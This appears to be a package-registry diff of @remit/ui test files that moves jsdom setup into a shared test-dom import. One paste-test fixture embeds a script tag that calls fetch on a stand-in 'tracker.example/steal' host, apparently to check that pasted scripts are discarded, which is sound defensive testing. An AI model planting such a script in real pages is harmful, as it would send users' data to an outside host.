@remit/ui 0.0.128 → 0.0.129
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -3
- package/src/components/brief-sections.keyboard.test.ts +8 -36
- package/src/components/compose-body.language.test.ts +8 -58
- package/src/components/compose-body.spellcheck.test.ts +8 -55
- package/src/components/event-editor.render.test.ts +2 -2
- package/src/components/filter-rule-editor.create.test.ts +10 -59
- package/src/components/folder-tree-picker.create.test.ts +18 -63
- package/src/components/message-list-pane.brief-filter.test.ts +4 -31
- package/src/components/nav-link-surface.interaction.test.ts +7 -34
- package/src/components/nav-sidebar.keyboard.test.ts +11 -40
- package/src/components/password-input.render.test.ts +8 -50
- package/src/components/plain-text-editor.mount.test.ts +11 -66
- package/src/components/rich-text-editor.mount.test.ts +9 -63
- package/src/components/rich-text-formatting.test.ts +27 -45
- package/src/components/rich-text-image-node.test.ts +60 -83
- package/src/components/rich-text-markdown.test.ts +3 -25
- package/src/components/rich-text-paste.test.ts +28 -42
- package/src/components/rich-text-spellcheck-menu.test.ts +28 -94
- package/src/components/rich-text-spellcheck.test.ts +11 -65
- package/src/components/swipeable-row.gesture.test.ts +8 -42
- package/src/components/touch-list.follows-sections.test.ts +4 -27
- package/src/lib/adopted-html.test.ts +3 -22
- package/src/lib/compose-language.test.ts +2 -7
- package/src/lib/roving-focus.test.ts +16 -43
- package/src/lib/use-list-cursor.test.ts +3 -27
- package/src/lib/use-list-keyboard.test.ts +6 -30
- package/src/lib/use-long-press.test.ts +12 -43
- package/src/lib/use-rendered-row-ids.test.ts +3 -24
- package/src/lib/use-selection.hook.test.ts +3 -26
- package/src/lib/use-suggest-list.test.ts +5 -29
- package/src/lib/use-triage-keyboard.test.ts +6 -29
|
@@ -4,45 +4,18 @@
|
|
|
4
4
|
* jsdom does not implement it for anchors; `detail-surface.stories.tsx` covers
|
|
5
5
|
* that in Chromium.
|
|
6
6
|
*/
|
|
7
|
+
import "@remit/test-dom";
|
|
7
8
|
import assert from "node:assert/strict";
|
|
8
|
-
import {
|
|
9
|
-
import type { JSDOM } from "jsdom";
|
|
9
|
+
import { afterEach, beforeEach, describe, it } from "node:test";
|
|
10
10
|
import { act, createElement, type MouseEvent } from "react";
|
|
11
11
|
import { createRoot, type Root } from "react-dom/client";
|
|
12
12
|
import { NavLinkSurface } from "./nav-link-surface.js";
|
|
13
13
|
|
|
14
|
-
let dom: JSDOM;
|
|
15
14
|
let container: HTMLElement;
|
|
16
15
|
let root: Root;
|
|
17
16
|
|
|
18
|
-
before(async () => {
|
|
19
|
-
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
20
|
-
dom = new JSDOMCtor(
|
|
21
|
-
"<!doctype html><html><body><div id=root></div></body></html>",
|
|
22
|
-
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
23
|
-
);
|
|
24
|
-
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
25
|
-
globalThis.document = dom.window.document;
|
|
26
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
27
|
-
globalThis.Element = dom.window.Element;
|
|
28
|
-
globalThis.MouseEvent = dom.window.MouseEvent;
|
|
29
|
-
Object.defineProperty(globalThis, "navigator", {
|
|
30
|
-
value: dom.window.navigator,
|
|
31
|
-
configurable: true,
|
|
32
|
-
});
|
|
33
|
-
(
|
|
34
|
-
globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
|
|
35
|
-
).IS_REACT_ACT_ENVIRONMENT = true;
|
|
36
|
-
});
|
|
37
|
-
|
|
38
|
-
after(() => {
|
|
39
|
-
dom.window.close();
|
|
40
|
-
});
|
|
41
|
-
|
|
42
17
|
beforeEach(() => {
|
|
43
|
-
container =
|
|
44
|
-
"root",
|
|
45
|
-
) as unknown as HTMLElement;
|
|
18
|
+
container = document.getElementById("root") as unknown as HTMLElement;
|
|
46
19
|
container.innerHTML = "";
|
|
47
20
|
root = createRoot(container);
|
|
48
21
|
});
|
|
@@ -65,7 +38,7 @@ function mount(props: Parameters<typeof NavLinkSurface>[0]) {
|
|
|
65
38
|
function click(target: Element, init: { metaKey?: boolean } = {}) {
|
|
66
39
|
act(() => {
|
|
67
40
|
target.dispatchEvent(
|
|
68
|
-
new
|
|
41
|
+
new MouseEvent("click", {
|
|
69
42
|
bubbles: true,
|
|
70
43
|
cancelable: true,
|
|
71
44
|
...init,
|
|
@@ -78,13 +51,13 @@ describe("NavLinkSurface interaction", () => {
|
|
|
78
51
|
it("puts a link with an href in the tab order", () => {
|
|
79
52
|
const link = mount({ href: "/mail/brief" });
|
|
80
53
|
link.focus();
|
|
81
|
-
assert.equal(
|
|
54
|
+
assert.equal(document.activeElement, link);
|
|
82
55
|
});
|
|
83
56
|
|
|
84
57
|
it("keeps a link with no href out of the tab order", () => {
|
|
85
58
|
const link = mount({});
|
|
86
59
|
link.focus();
|
|
87
|
-
assert.notEqual(
|
|
60
|
+
assert.notEqual(document.activeElement, link);
|
|
88
61
|
});
|
|
89
62
|
|
|
90
63
|
it("passes a modified click through with its modifier intact", () => {
|
|
@@ -105,7 +78,7 @@ describe("NavLinkSurface interaction", () => {
|
|
|
105
78
|
|
|
106
79
|
it("adds no click handling of its own when the caller passes none", () => {
|
|
107
80
|
const link = mount({ href: "/mail/brief" });
|
|
108
|
-
const event = new
|
|
81
|
+
const event = new MouseEvent("click", {
|
|
109
82
|
bubbles: true,
|
|
110
83
|
cancelable: true,
|
|
111
84
|
});
|
|
@@ -2,9 +2,9 @@
|
|
|
2
2
|
* NavSidebar arrow-key traversal (#143) — mounted against jsdom rather than
|
|
3
3
|
* `renderToString`, since focus and keydown need a real `document`.
|
|
4
4
|
*/
|
|
5
|
+
import "@remit/test-dom";
|
|
5
6
|
import assert from "node:assert/strict";
|
|
6
|
-
import {
|
|
7
|
-
import type { JSDOM } from "jsdom";
|
|
7
|
+
import { afterEach, beforeEach, describe, it } from "node:test";
|
|
8
8
|
import { act, createElement } from "react";
|
|
9
9
|
import { createRoot, type Root } from "react-dom/client";
|
|
10
10
|
import type { NavAccount } from "./app-shell-types.js";
|
|
@@ -22,38 +22,11 @@ const accounts: NavAccount[] = [
|
|
|
22
22
|
},
|
|
23
23
|
];
|
|
24
24
|
|
|
25
|
-
let dom: JSDOM;
|
|
26
25
|
let container: HTMLElement;
|
|
27
26
|
let root: Root;
|
|
28
27
|
|
|
29
|
-
before(async () => {
|
|
30
|
-
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
31
|
-
dom = new JSDOMCtor(
|
|
32
|
-
"<!doctype html><html><body><div id=root></div></body></html>",
|
|
33
|
-
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
34
|
-
);
|
|
35
|
-
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
36
|
-
globalThis.document = dom.window.document;
|
|
37
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
38
|
-
globalThis.Element = dom.window.Element;
|
|
39
|
-
globalThis.KeyboardEvent = dom.window.KeyboardEvent;
|
|
40
|
-
Object.defineProperty(globalThis, "navigator", {
|
|
41
|
-
value: dom.window.navigator,
|
|
42
|
-
configurable: true,
|
|
43
|
-
});
|
|
44
|
-
(
|
|
45
|
-
globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
|
|
46
|
-
).IS_REACT_ACT_ENVIRONMENT = true;
|
|
47
|
-
});
|
|
48
|
-
|
|
49
|
-
after(() => {
|
|
50
|
-
dom.window.close();
|
|
51
|
-
});
|
|
52
|
-
|
|
53
28
|
beforeEach(() => {
|
|
54
|
-
container =
|
|
55
|
-
"root",
|
|
56
|
-
) as unknown as HTMLElement;
|
|
29
|
+
container = document.getElementById("root") as unknown as HTMLElement;
|
|
57
30
|
container.innerHTML = "";
|
|
58
31
|
root = createRoot(container);
|
|
59
32
|
});
|
|
@@ -65,9 +38,7 @@ afterEach(() => {
|
|
|
65
38
|
});
|
|
66
39
|
|
|
67
40
|
function pressKey(target: Element, key: string) {
|
|
68
|
-
target.dispatchEvent(
|
|
69
|
-
new dom.window.KeyboardEvent("keydown", { key, bubbles: true }),
|
|
70
|
-
);
|
|
41
|
+
target.dispatchEvent(new KeyboardEvent("keydown", { key, bubbles: true }));
|
|
71
42
|
}
|
|
72
43
|
|
|
73
44
|
function navItems(): HTMLElement[] {
|
|
@@ -103,13 +74,13 @@ describe("NavSidebar arrow-key traversal", () => {
|
|
|
103
74
|
const items = navItems();
|
|
104
75
|
act(() => items[0]?.focus());
|
|
105
76
|
act(() => pressKey(items[0] as Element, "ArrowDown"));
|
|
106
|
-
assert.equal(
|
|
77
|
+
assert.equal(document.activeElement, items[1]);
|
|
107
78
|
|
|
108
79
|
act(() => pressKey(items[1] as Element, "ArrowDown"));
|
|
109
|
-
assert.equal(
|
|
80
|
+
assert.equal(document.activeElement, items[2]);
|
|
110
81
|
|
|
111
82
|
act(() => pressKey(items[2] as Element, "ArrowUp"));
|
|
112
|
-
assert.equal(
|
|
83
|
+
assert.equal(document.activeElement, items[1]);
|
|
113
84
|
});
|
|
114
85
|
|
|
115
86
|
it("End reaches the last mailbox and Home returns to the top", () => {
|
|
@@ -118,10 +89,10 @@ describe("NavSidebar arrow-key traversal", () => {
|
|
|
118
89
|
act(() => items[0]?.focus());
|
|
119
90
|
act(() => pressKey(items[0] as Element, "End"));
|
|
120
91
|
const last = items[items.length - 1];
|
|
121
|
-
assert.equal(
|
|
92
|
+
assert.equal(document.activeElement, last);
|
|
122
93
|
|
|
123
94
|
act(() => pressKey(last as Element, "Home"));
|
|
124
|
-
assert.equal(
|
|
95
|
+
assert.equal(document.activeElement, items[0]);
|
|
125
96
|
});
|
|
126
97
|
|
|
127
98
|
it("traverses the drawer variant too", () => {
|
|
@@ -129,7 +100,7 @@ describe("NavSidebar arrow-key traversal", () => {
|
|
|
129
100
|
const items = navItems();
|
|
130
101
|
act(() => items[0]?.focus());
|
|
131
102
|
act(() => pressKey(items[0] as Element, "ArrowDown"));
|
|
132
|
-
assert.equal(
|
|
103
|
+
assert.equal(document.activeElement, items[1]);
|
|
133
104
|
});
|
|
134
105
|
|
|
135
106
|
it("leaves Left/Right to the browser", () => {
|
|
@@ -137,6 +108,6 @@ describe("NavSidebar arrow-key traversal", () => {
|
|
|
137
108
|
const items = navItems();
|
|
138
109
|
act(() => items[0]?.focus());
|
|
139
110
|
act(() => pressKey(items[0] as Element, "ArrowRight"));
|
|
140
|
-
assert.equal(
|
|
111
|
+
assert.equal(document.activeElement, items[0]);
|
|
141
112
|
});
|
|
142
113
|
});
|
|
@@ -1,62 +1,20 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* The reveal toggle: it starts hidden, flips only the input's `type`, and
|
|
3
3
|
* renames itself for the state it will produce next. Mounted against jsdom
|
|
4
|
-
* since the toggle is internal state driven by a real click.
|
|
5
|
-
* after the jsdom globals are installed so the controlled-input value tracker
|
|
6
|
-
* binds to jsdom's prototypes.
|
|
4
|
+
* since the toggle is internal state driven by a real click.
|
|
7
5
|
*/
|
|
6
|
+
import "@remit/test-dom";
|
|
8
7
|
import assert from "node:assert/strict";
|
|
9
|
-
import {
|
|
10
|
-
import
|
|
11
|
-
import type
|
|
12
|
-
|
|
13
|
-
createElement as reactCreateElement,
|
|
14
|
-
} from "react";
|
|
15
|
-
import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
|
|
16
|
-
import type { PasswordInput as PasswordInputType } from "./password-input.js";
|
|
8
|
+
import { afterEach, beforeEach, describe, it } from "node:test";
|
|
9
|
+
import { act, createElement } from "react";
|
|
10
|
+
import { createRoot, type Root } from "react-dom/client";
|
|
11
|
+
import { PasswordInput } from "./password-input.js";
|
|
17
12
|
|
|
18
|
-
let dom: JSDOM;
|
|
19
13
|
let container: HTMLElement;
|
|
20
14
|
let root: Root;
|
|
21
|
-
let act: typeof reactAct;
|
|
22
|
-
let createElement: typeof reactCreateElement;
|
|
23
|
-
let createRoot: typeof reactCreateRoot;
|
|
24
|
-
let PasswordInput: typeof PasswordInputType;
|
|
25
|
-
|
|
26
|
-
before(async () => {
|
|
27
|
-
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
28
|
-
dom = new JSDOMCtor(
|
|
29
|
-
"<!doctype html><html><body><div id=root></div></body></html>",
|
|
30
|
-
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
31
|
-
);
|
|
32
|
-
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
33
|
-
globalThis.document = dom.window.document;
|
|
34
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
35
|
-
globalThis.Element = dom.window.Element;
|
|
36
|
-
globalThis.Event = dom.window.Event;
|
|
37
|
-
Object.defineProperty(globalThis, "navigator", {
|
|
38
|
-
value: dom.window.navigator,
|
|
39
|
-
configurable: true,
|
|
40
|
-
});
|
|
41
|
-
(
|
|
42
|
-
globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
|
|
43
|
-
).IS_REACT_ACT_ENVIRONMENT = true;
|
|
44
|
-
|
|
45
|
-
const react = await import("react");
|
|
46
|
-
act = react.act;
|
|
47
|
-
createElement = react.createElement;
|
|
48
|
-
({ createRoot } = await import("react-dom/client"));
|
|
49
|
-
({ PasswordInput } = await import("./password-input.js"));
|
|
50
|
-
});
|
|
51
|
-
|
|
52
|
-
after(() => {
|
|
53
|
-
dom.window.close();
|
|
54
|
-
});
|
|
55
15
|
|
|
56
16
|
beforeEach(() => {
|
|
57
|
-
container =
|
|
58
|
-
"root",
|
|
59
|
-
) as unknown as HTMLElement;
|
|
17
|
+
container = document.getElementById("root") as unknown as HTMLElement;
|
|
60
18
|
container.innerHTML = "";
|
|
61
19
|
root = createRoot(container);
|
|
62
20
|
});
|
|
@@ -143,7 +101,7 @@ describe("PasswordInput", () => {
|
|
|
143
101
|
act(() => {
|
|
144
102
|
root.render(createElement(PasswordInput, { id: "pw" }));
|
|
145
103
|
});
|
|
146
|
-
assert.notEqual(
|
|
104
|
+
assert.notEqual(document.activeElement, toggle());
|
|
147
105
|
assert.equal(toggle().hasAttribute("autofocus"), false);
|
|
148
106
|
});
|
|
149
107
|
});
|
|
@@ -2,20 +2,14 @@
|
|
|
2
2
|
* The plain surface mounted for real: what a paste puts in it, what it does
|
|
3
3
|
* when a paste has nothing to put there, and the toolbar it carries instead of
|
|
4
4
|
* the formatting buttons.
|
|
5
|
-
*
|
|
6
|
-
* React is imported after the jsdom globals are installed so its DOM bindings
|
|
7
|
-
* bind to jsdom's prototypes.
|
|
8
5
|
*/
|
|
6
|
+
import "@remit/test-dom";
|
|
9
7
|
import assert from "node:assert/strict";
|
|
10
|
-
import {
|
|
11
|
-
import
|
|
12
|
-
import type
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
} from "react";
|
|
16
|
-
import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
|
|
17
|
-
import type { ComposeModeToggle as ComposeModeToggleType } from "./compose-mode-toggle.js";
|
|
18
|
-
import type { PlainTextEditor as PlainTextEditorType } from "./plain-text-editor.js";
|
|
8
|
+
import { afterEach, beforeEach, describe, it } from "node:test";
|
|
9
|
+
import { act, createElement } from "react";
|
|
10
|
+
import { createRoot, type Root } from "react-dom/client";
|
|
11
|
+
import { ComposeModeToggle } from "./compose-mode-toggle.js";
|
|
12
|
+
import { PlainTextEditor } from "./plain-text-editor.js";
|
|
19
13
|
|
|
20
14
|
const CLIPBOARD_HTML = [
|
|
21
15
|
'<meta charset="utf-8">',
|
|
@@ -25,14 +19,8 @@ const CLIPBOARD_HTML = [
|
|
|
25
19
|
'<script>fetch("https://tracker.example/steal")</script>',
|
|
26
20
|
].join("");
|
|
27
21
|
|
|
28
|
-
let dom: JSDOM;
|
|
29
22
|
let container: HTMLElement;
|
|
30
23
|
let root: Root;
|
|
31
|
-
let act: typeof reactAct;
|
|
32
|
-
let createElement: typeof reactCreateElement;
|
|
33
|
-
let createRoot: typeof reactCreateRoot;
|
|
34
|
-
let PlainTextEditor: typeof PlainTextEditorType;
|
|
35
|
-
let ComposeModeToggle: typeof ComposeModeToggleType;
|
|
36
24
|
|
|
37
25
|
const surface = (): HTMLTextAreaElement => {
|
|
38
26
|
const textarea = container.querySelector<HTMLTextAreaElement>(
|
|
@@ -46,7 +34,7 @@ const surface = (): HTMLTextAreaElement => {
|
|
|
46
34
|
// reads off the event: a `getData` over the flavours the copy carried.
|
|
47
35
|
const paste = async (flavours: { html?: string; text?: string }) => {
|
|
48
36
|
const textarea = surface();
|
|
49
|
-
const event = new
|
|
37
|
+
const event = new Event("paste", {
|
|
50
38
|
bubbles: true,
|
|
51
39
|
cancelable: true,
|
|
52
40
|
});
|
|
@@ -61,48 +49,9 @@ const paste = async (flavours: { html?: string; text?: string }) => {
|
|
|
61
49
|
});
|
|
62
50
|
};
|
|
63
51
|
|
|
64
|
-
before(async () => {
|
|
65
|
-
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
66
|
-
dom = new JSDOMCtor(
|
|
67
|
-
"<!doctype html><html><body><div id=root></div></body></html>",
|
|
68
|
-
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
69
|
-
);
|
|
70
|
-
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
71
|
-
globalThis.document = dom.window.document;
|
|
72
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
73
|
-
globalThis.Element = dom.window.Element;
|
|
74
|
-
globalThis.Node = dom.window.Node;
|
|
75
|
-
globalThis.Event = dom.window.Event;
|
|
76
|
-
globalThis.MouseEvent = dom.window.MouseEvent;
|
|
77
|
-
globalThis.DOMParser = dom.window.DOMParser;
|
|
78
|
-
globalThis.MutationObserver = dom.window.MutationObserver;
|
|
79
|
-
globalThis.Range = dom.window.Range;
|
|
80
|
-
globalThis.AbortController = dom.window.AbortController;
|
|
81
|
-
globalThis.AbortSignal = dom.window.AbortSignal;
|
|
82
|
-
globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
|
|
83
|
-
globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
|
|
84
|
-
dom.window,
|
|
85
|
-
);
|
|
86
|
-
globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
|
|
87
|
-
dom.window,
|
|
88
|
-
);
|
|
89
|
-
Object.defineProperty(globalThis, "navigator", {
|
|
90
|
-
value: dom.window.navigator,
|
|
91
|
-
configurable: true,
|
|
92
|
-
});
|
|
93
|
-
(
|
|
94
|
-
globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
|
|
95
|
-
).IS_REACT_ACT_ENVIRONMENT = true;
|
|
96
|
-
|
|
97
|
-
({ act, createElement } = await import("react"));
|
|
98
|
-
({ createRoot } = await import("react-dom/client"));
|
|
99
|
-
({ PlainTextEditor } = await import("./plain-text-editor.js"));
|
|
100
|
-
({ ComposeModeToggle } = await import("./compose-mode-toggle.js"));
|
|
101
|
-
});
|
|
102
|
-
|
|
103
52
|
beforeEach(() => {
|
|
104
|
-
container =
|
|
105
|
-
|
|
53
|
+
container = document.createElement("div");
|
|
54
|
+
document.body.append(container);
|
|
106
55
|
});
|
|
107
56
|
|
|
108
57
|
afterEach(async () => {
|
|
@@ -112,10 +61,6 @@ afterEach(async () => {
|
|
|
112
61
|
container.remove();
|
|
113
62
|
});
|
|
114
63
|
|
|
115
|
-
after(() => {
|
|
116
|
-
dom.window.close();
|
|
117
|
-
});
|
|
118
|
-
|
|
119
64
|
/** A controlled surface: the value it shows is the one it last reported. */
|
|
120
65
|
const mount = async (
|
|
121
66
|
initial = "",
|
|
@@ -198,7 +143,7 @@ describe("PlainTextEditor", () => {
|
|
|
198
143
|
});
|
|
199
144
|
|
|
200
145
|
const textarea = surface();
|
|
201
|
-
assert.equal(
|
|
146
|
+
assert.equal(document.activeElement, textarea);
|
|
202
147
|
assert.equal(textarea.selectionStart, textarea.value.length);
|
|
203
148
|
});
|
|
204
149
|
|
|
@@ -212,7 +157,7 @@ describe("PlainTextEditor", () => {
|
|
|
212
157
|
|
|
213
158
|
await act(async () => {
|
|
214
159
|
surface().dispatchEvent(
|
|
215
|
-
new
|
|
160
|
+
new KeyboardEvent("keydown", {
|
|
216
161
|
bubbles: true,
|
|
217
162
|
cancelable: true,
|
|
218
163
|
key: "Enter",
|
|
@@ -1,18 +1,13 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* The editor mounted for real: a document it opens on renders as structure, and
|
|
3
|
-
* the value it reports back is the HTML that would be sent.
|
|
4
|
-
* after the jsdom globals are installed so its DOM bindings bind to jsdom's
|
|
5
|
-
* prototypes.
|
|
3
|
+
* the value it reports back is the HTML that would be sent.
|
|
6
4
|
*/
|
|
5
|
+
import "@remit/test-dom";
|
|
7
6
|
import assert from "node:assert/strict";
|
|
8
|
-
import {
|
|
9
|
-
import
|
|
10
|
-
import type
|
|
11
|
-
|
|
12
|
-
createElement as reactCreateElement,
|
|
13
|
-
} from "react";
|
|
14
|
-
import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
|
|
15
|
-
import type { RichTextEditor as RichTextEditorType } from "./rich-text-editor.js";
|
|
7
|
+
import { afterEach, beforeEach, describe, it } from "node:test";
|
|
8
|
+
import { act, createElement } from "react";
|
|
9
|
+
import { createRoot, type Root } from "react-dom/client";
|
|
10
|
+
import { RichTextEditor } from "./rich-text-editor.js";
|
|
16
11
|
import type { RichTextValue } from "./rich-text-value.js";
|
|
17
12
|
|
|
18
13
|
const DOCUMENT = [
|
|
@@ -21,13 +16,8 @@ const DOCUMENT = [
|
|
|
21
16
|
"<table><tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
|
|
22
17
|
].join("");
|
|
23
18
|
|
|
24
|
-
let dom: JSDOM;
|
|
25
19
|
let container: HTMLElement;
|
|
26
20
|
let root: Root;
|
|
27
|
-
let act: typeof reactAct;
|
|
28
|
-
let createElement: typeof reactCreateElement;
|
|
29
|
-
let createRoot: typeof reactCreateRoot;
|
|
30
|
-
let RichTextEditor: typeof RichTextEditorType;
|
|
31
21
|
|
|
32
22
|
/** The toolbar acts on mousedown, so a click alone never reaches it. */
|
|
33
23
|
const press = (scope: HTMLElement, label: string): void => {
|
|
@@ -36,56 +26,16 @@ const press = (scope: HTMLElement, label: string): void => {
|
|
|
36
26
|
);
|
|
37
27
|
if (!button) throw new Error(`no toolbar button labelled ${label}`);
|
|
38
28
|
button.dispatchEvent(
|
|
39
|
-
new
|
|
29
|
+
new MouseEvent("mousedown", { bubbles: true, cancelable: true }),
|
|
40
30
|
);
|
|
41
31
|
};
|
|
42
32
|
|
|
43
|
-
before(async () => {
|
|
44
|
-
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
45
|
-
dom = new JSDOMCtor(
|
|
46
|
-
"<!doctype html><html><body><div id=root></div></body></html>",
|
|
47
|
-
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
48
|
-
);
|
|
49
|
-
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
50
|
-
globalThis.document = dom.window.document;
|
|
51
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
52
|
-
globalThis.Element = dom.window.Element;
|
|
53
|
-
globalThis.Node = dom.window.Node;
|
|
54
|
-
globalThis.Event = dom.window.Event;
|
|
55
|
-
globalThis.MouseEvent = dom.window.MouseEvent;
|
|
56
|
-
globalThis.DOMParser = dom.window.DOMParser;
|
|
57
|
-
globalThis.MutationObserver = dom.window.MutationObserver;
|
|
58
|
-
globalThis.Range = dom.window.Range;
|
|
59
|
-
// jsdom rejects a listener whose `signal` is not one of its own, and the
|
|
60
|
-
// table plugin abort-signals its cell listeners.
|
|
61
|
-
globalThis.AbortController = dom.window.AbortController;
|
|
62
|
-
globalThis.AbortSignal = dom.window.AbortSignal;
|
|
63
|
-
globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
|
|
64
|
-
globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
|
|
65
|
-
dom.window,
|
|
66
|
-
);
|
|
67
|
-
globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
|
|
68
|
-
dom.window,
|
|
69
|
-
);
|
|
70
|
-
Object.defineProperty(globalThis, "navigator", {
|
|
71
|
-
value: dom.window.navigator,
|
|
72
|
-
configurable: true,
|
|
73
|
-
});
|
|
74
|
-
(
|
|
75
|
-
globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
|
|
76
|
-
).IS_REACT_ACT_ENVIRONMENT = true;
|
|
77
|
-
|
|
78
|
-
({ act, createElement } = await import("react"));
|
|
79
|
-
({ createRoot } = await import("react-dom/client"));
|
|
80
|
-
({ RichTextEditor } = await import("./rich-text-editor.js"));
|
|
81
|
-
});
|
|
82
|
-
|
|
83
33
|
// A container is used once. React refuses to create a second root over one it
|
|
84
34
|
// has already owned, and the editor holds a contenteditable that outlives the
|
|
85
35
|
// unmount otherwise.
|
|
86
36
|
beforeEach(() => {
|
|
87
|
-
container =
|
|
88
|
-
|
|
37
|
+
container = document.createElement("div");
|
|
38
|
+
document.body.append(container);
|
|
89
39
|
});
|
|
90
40
|
|
|
91
41
|
afterEach(async () => {
|
|
@@ -95,10 +45,6 @@ afterEach(async () => {
|
|
|
95
45
|
container.remove();
|
|
96
46
|
});
|
|
97
47
|
|
|
98
|
-
after(() => {
|
|
99
|
-
dom.window.close();
|
|
100
|
-
});
|
|
101
|
-
|
|
102
48
|
describe("RichTextEditor", () => {
|
|
103
49
|
it("renders the document it opens on and reports it back", async () => {
|
|
104
50
|
const seen: RichTextValue[] = [];
|
|
@@ -8,10 +8,17 @@
|
|
|
8
8
|
* paragraph makes the two strings differ, and the same comparison would
|
|
9
9
|
* interrupt the ordinary prose it is meant to leave alone.
|
|
10
10
|
*/
|
|
11
|
+
import "@remit/test-dom";
|
|
11
12
|
import assert from "node:assert/strict";
|
|
12
|
-
import {
|
|
13
|
-
import
|
|
14
|
-
|
|
13
|
+
import { describe, it } from "node:test";
|
|
14
|
+
import {
|
|
15
|
+
$getRoot,
|
|
16
|
+
$insertNodes,
|
|
17
|
+
createEditor,
|
|
18
|
+
type LexicalEditor,
|
|
19
|
+
} from "lexical";
|
|
20
|
+
import { $adoptHtml, $documentFormatting } from "./rich-text-document.js";
|
|
21
|
+
import { RICH_TEXT_NODES } from "./rich-text-nodes.js";
|
|
15
22
|
|
|
16
23
|
interface Row {
|
|
17
24
|
what: string;
|
|
@@ -86,50 +93,25 @@ const ROWS: Row[] = [
|
|
|
86
93
|
},
|
|
87
94
|
];
|
|
88
95
|
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
{
|
|
96
|
-
url: "http://localhost/",
|
|
96
|
+
const formattingOf = (html: string) => {
|
|
97
|
+
const editor: LexicalEditor = createEditor({
|
|
98
|
+
namespace: "test",
|
|
99
|
+
nodes: [...RICH_TEXT_NODES],
|
|
100
|
+
onError: (error) => {
|
|
101
|
+
throw error;
|
|
97
102
|
},
|
|
103
|
+
});
|
|
104
|
+
editor.update(
|
|
105
|
+
() => {
|
|
106
|
+
const root = $getRoot();
|
|
107
|
+
root.clear();
|
|
108
|
+
root.select();
|
|
109
|
+
if (html !== "") $insertNodes($adoptHtml(editor, html));
|
|
110
|
+
},
|
|
111
|
+
{ discrete: true },
|
|
98
112
|
);
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
globalThis.DOMParser = dom.window.DOMParser;
|
|
102
|
-
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
103
|
-
globalThis.Element = dom.window.Element;
|
|
104
|
-
globalThis.Node = dom.window.Node;
|
|
105
|
-
|
|
106
|
-
const { $getRoot, $insertNodes, createEditor } = await import("lexical");
|
|
107
|
-
const { $adoptHtml, $documentFormatting } = await import(
|
|
108
|
-
"./rich-text-document.js"
|
|
109
|
-
);
|
|
110
|
-
const { RICH_TEXT_NODES } = await import("./rich-text-nodes.js");
|
|
111
|
-
|
|
112
|
-
formattingOf = (html: string) => {
|
|
113
|
-
const editor: LexicalEditor = createEditor({
|
|
114
|
-
namespace: "test",
|
|
115
|
-
nodes: [...RICH_TEXT_NODES],
|
|
116
|
-
onError: (error) => {
|
|
117
|
-
throw error;
|
|
118
|
-
},
|
|
119
|
-
});
|
|
120
|
-
editor.update(
|
|
121
|
-
() => {
|
|
122
|
-
const root = $getRoot();
|
|
123
|
-
root.clear();
|
|
124
|
-
root.select();
|
|
125
|
-
if (html !== "") $insertNodes($adoptHtml(editor, html));
|
|
126
|
-
},
|
|
127
|
-
{ discrete: true },
|
|
128
|
-
);
|
|
129
|
-
return editor.read(() => $documentFormatting());
|
|
130
|
-
};
|
|
131
|
-
});
|
|
132
|
-
|
|
113
|
+
return editor.read(() => $documentFormatting());
|
|
114
|
+
};
|
|
133
115
|
describe("what switching to plain text warns about", () => {
|
|
134
116
|
for (const row of ROWS) {
|
|
135
117
|
it(`${row.warns ? "warns about" : "says nothing about"} ${row.what}`, () => {
|